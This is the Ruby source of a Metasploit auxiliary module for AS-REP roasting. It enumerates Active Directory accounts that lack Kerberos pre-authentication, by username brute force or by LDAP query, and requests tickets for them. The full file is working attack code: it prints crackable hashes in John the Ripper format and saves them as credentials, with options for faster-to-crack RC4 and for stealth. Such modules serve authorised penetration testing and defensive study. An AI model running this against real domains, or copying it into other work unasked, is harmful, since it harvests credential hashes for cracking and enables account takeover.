Path: blob/master/modules/auxiliary/gather/asrep.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Kerberos::Client7include Msf::Exploit::Remote::LDAP8include Msf::Exploit::Remote::LDAP::Queries9include Msf::OptionalSession::LDAP1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)',16'Description' => %q{17This module searches for AD users without pre-auth required. Two different approaches18are provided:19- Brute force of usernames (does not require a user account; should not lock out accounts)20- LDAP lookup (requires an AD user account)21},22'License' => MSF_LICENSE,23'Author' => [24'smashery', # MSF Module25],26'References' => [27['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat']28],29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [IOC_IN_LOGS],32'Reliability' => [],33'AKA' => ['preauth', 'asreproast']34},35'Actions' => [36['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ],37['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ],38],39'DefaultAction' => 'BRUTE_FORCE'40)41)4243register_options(44[45Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),46OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),47OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),48OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),49]50)51register_option_group(name: 'SESSION',52description: 'Used when connecting to LDAP over an existing SESSION',53option_names: %w[RHOSTS],54required_options: %w[SESSION RHOSTS])55register_advanced_options(56[57OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),58]59)60end6162def run63case action.name64when 'BRUTE_FORCE'65run_brute66when 'LDAP'67run_ldap68end69rescue Errno::ECONNRESET70fail_with(Failure::Disconnected, 'The connection was reset.')71rescue Rex::ConnectionError => e72fail_with(Failure::Unreachable, e.message)73rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e74fail_with(Failure::NoAccess, e.message)75rescue Net::LDAP::Error => e76fail_with(Failure::Unknown, "#{e.class}: #{e.message}")77end7879def run_brute80result_count = 081user_file = datastore['USER_FILE']82username = datastore['LDAPUsername']83if user_file.blank? && username.blank?84fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing')85end86if username.present?87begin88roast(datastore['LDAPUsername'])89result_count += 190rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e91# User either not present, or requires preauth92vprint_status("User: #{username} - #{e}")93end94end95if user_file.present?96File.open(user_file, 'rb') do |file|97file.each_line(chomp: true) do |user_from_file|98roast(user_from_file)99result_count += 1100rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e101# User either not present, or requires preauth102vprint_status("User: #{user_from_file} - #{e}")103end104end105end106107if result_count == 0108print_error('No users found without preauth required')109else110print_line111print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")112end113end114115def run_ldap116run_builtin_ldap_query('ENUM_USER_ASREP_ROASTABLE') do |result|117username = result.samaccountname[0]118begin119roast(username)120rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e121print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})")122end123end124end125126def roast(username)127res = send_request_tgt(128server_name: "krbtgt/#{datastore['domain']}",129client_name: username,130realm: datastore['LDAPDomain'],131offered_etypes: etypes,132rport: 88,133rhost: datastore['RHOST']134)135hash = format_as_rep_to_john_hash(res.as_rep)136print_line(hash)137jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)138report_hash(hash, jtr_format)139end140141def report_hash(hash, jtr_format)142service_data = {143address: rhost,144port: rport,145service_name: 'Kerberos',146protocol: 'tcp',147workspace_id: myworkspace_id148}149credential_data = {150module_fullname: fullname,151origin_type: :service,152private_data: hash,153private_type: :nonreplayable_hash,154jtr_format: jtr_format155}.merge(service_data)156157credential_core = create_credential(credential_data)158159login_data = {160core: credential_core,161status: Metasploit::Model::Login::Status::UNTRIED162}.merge(service_data)163164create_credential_login(login_data)165end166167def etypes168if datastore['USE_RC4_HMAC']169[Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC]170else171# We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes,172# and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added173Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes174end175end176177attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file178179end180181182